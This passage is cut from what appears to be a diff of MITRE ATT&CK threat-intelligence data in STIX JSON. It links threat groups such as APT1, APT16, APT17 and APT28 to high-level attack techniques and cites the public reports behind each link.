+ "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cc22ab71-f2fc-4885-832b-e75dadeefa2d", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.418Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2bf984b5-1a48-4d9a-a4f2-e97801254b84", + "source_ref": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--28815a00-1cf4-4fbc-9039-306a9542c7fd", + "source_ref": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--41be9f31-9d2b-44b8-a7dc-31f8c4519751", + "source_ref": "attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9c44b2ec-70b0-4f5c-800e-426477330658", + "source_ref": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549", + "description": "[APT16](https://attack.mitre.org/groups/G0023) spearphished journalists, apparently targeting those interested in contact information for DPP members or politicians.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4eb0e01c-85ae-466a-a8ff-0cf7891c5ab2", + "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "modified": "2019-03-22T14:20:45.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d5bd7a33-a249-46e5-bb19-a498eba42bdb", + "source_ref": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3d781e9a-d3f8-4e9f-bb23-ba6c2ff22267", + "source_ref": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9524754d-7743-47b3-8395-3cbfb633c020", + "source_ref": "attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--689ebb39-52f4-4b2f-8678-72cfed67cb9f", + "source_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b180dee5-0d48-448f-94b9-4997f0c584d5", + "source_ref": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7aaa32b6-73f3-4b6e-98ae-da16976e6003", + "source_ref": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39", + "description": "[APT17](https://attack.mitre.org/groups/G0025) obfuscated infrastructure using a multi-layered malware beaconing approach.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9c87b627-de61-42da-a658-7bdb33358754", + "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "modified": "2019-03-22T14:21:19.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--36990d75-9fbd-43f0-9966-ae58f0388e1d", + "source_ref": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2dbdcf5e-af75-4f92-b4ad-942a06aab259", + "source_ref": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--87239038-7693-49b3-b595-b828cc2be1ba", + "source_ref": "attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768", + "description": "[APT28](https://attack.mitre.org/groups/G0007) reused the SOURFACE downloader as the payload of a lure document.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--709bb5af-c484-48f2-bb19-bd7630e42e2d", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.673Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--45242287-2964-4a3e-9373-159fad4d8195", + "description": "[APT28](https://attack.mitre.org/groups/G0007) registered domains imitating NATO and OSCE security websites and Caucasus information resources.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3d65fc7e-87a5-4113-bd9c-09453fba4d1e", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.691Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--271e6d40-e191-421a-8f87-a8102452c201", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) fake personas included profile photos, details, and network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d26a1746-b577-4a89-be5e-c49611e8c65a", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.896Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Threat Group 2889", + "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--66e4da4a-6eb6-46e0-9baf-74059f341b4a", + "source_ref": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--51c20b46-16cc-4b58-80d7-89d48b14b064", + "source_ref": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--432c700b-4bf3-4824-a530-a6e86882c4b7", + "source_ref": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has created customized tools and payloads for functions including ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b09b41c4-670f-4f00-b8d5-a8c6a2dcfcfb", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.891Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ad510f42-e745-42d0-8b54-4bf7a2f3cf34", + "source_ref": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used third party email services in the registration of whois records.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--39db1df8-f786-480c-9faf-5b870de2250b", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used dynamic DNS to register hundreds of FQDNs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0e7905fd-77c8-43cb-b499-7d6e37fefbeb", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.554Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-19T18:56:56.136Z", + "id": "relationship--1aafdefb-304e-4998-87cc-81aad295f721", + "source_ref": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983", + "modified": "2019-02-19T18:56:56.136Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-19T18:56:56.770Z", + "id": "relationship--83379e43-4bc5-4c49-b0b3-f41161e8e96d", + "source_ref": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59", + "modified": "2019-02-19T18:56:56.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used Virtual Private Server (VPS) infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T19:45:44.205Z", + "id": "relationship--2d95ed6f-52e7-4708-af15-9a6c08390454", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.595Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used dynamic DNS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T19:45:44.212Z", + "id": "relationship--21842707-0f15-43bf-bc42-2bceadf2cfa2", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.596Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "identity", + "name": "The MITRE Corporation", + "identity_class": "organization", + "created": "2017-06-01T00:00:00.000Z", + "id": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2017-06-01T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ] + }, + { + "aliases": [ + "APT1", + "Comment Crew", + "Comment Group", + "Comment Panda" + ], + "type": "intrusion-set", + "name": "APT1", + "description": "[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", + "external_references": [ + { + "external_id": "G0006", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0006" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "APT1" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "Comment Crew" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "Comment Group" + }, + { + "description": "(Citation: CrowdStrike Putter Panda)", + "source_name": "Comment Panda" + }, + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:47.955Z", + "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:12.971Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "APT16" + ], + "type": "intrusion-set", + "name": "APT16", + "description": "[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", + "external_references": [ + { + "external_id": "G0023", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0023" + }, + { + "description": "(Citation: FireEye EPS Awakens Part 2)", + "source_name": "APT16" + }, + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:56.270Z", + "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "modified": "2019-03-22T14:20:45.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "APT17", + "Deputy Dog" + ], + "type": "intrusion-set", + "name": "APT17", + "description": "[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", + "external_references": [ + { + "external_id": "G0025", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0025" + }, + { + "description": "(Citation: FireEye APT17)", + "source_name": "APT17" + }, + { + "description": "(Citation: FireEye APT17)", + "source_name": "Deputy Dog" + }, + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:57.307Z", + "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "modified": "2019-03-22T14:21:19.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "APT28", + "SNAKEMACKEREL", + "Swallowtail", + "Group 74", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127" + ], + "name": "APT28", + "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](https://attack.mitre.org/groups/G0007) has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)", + "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.2", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Drew Church, Splunk", + "Emily Ratliff, IBM", + "Richard Gold, Digital Shadows" + ], + "created": "2017-05-31T21:31:48.664Z", + "modified": "2019-10-11T21:44:06.801Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0007", + "url": "https://attack.mitre.org/groups/G0007" + }, + { + "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)", + "source_name": "APT28" + }, + { + "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "source_name": "SNAKEMACKEREL" + }, + { + "description": "(Citation: Symantec APT28 Oct 2018)", + "source_name": "Swallowtail" + }, + { + "description": "(Citation: Talos Seduploader Oct 2017)", + "source_name": "Group 74" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018)", + "source_name": "Sednit" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)", + "source_name": "Sofacy" + }, + { + "description": "(Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)", + "source_name": "Pawn Storm" + }, + { + "description": "(Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)", + "source_name": "Fancy Bear" + }, + { + "description": "(Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019)", + "source_name": "STRONTIUM" + }, + { + "description": "(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)", + "source_name": "Tsar Team" + }, + { + "description": "(Citation: SecureWorks TG-4127)", + "source_name": "Threat Group-4127" + }, + { + "description": "(Citation: SecureWorks TG-4127)", + "source_name": "TG-4127" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "Ars Technica GRU indictment Jul 2018", + "description": "Gallagher, S. (2018, July 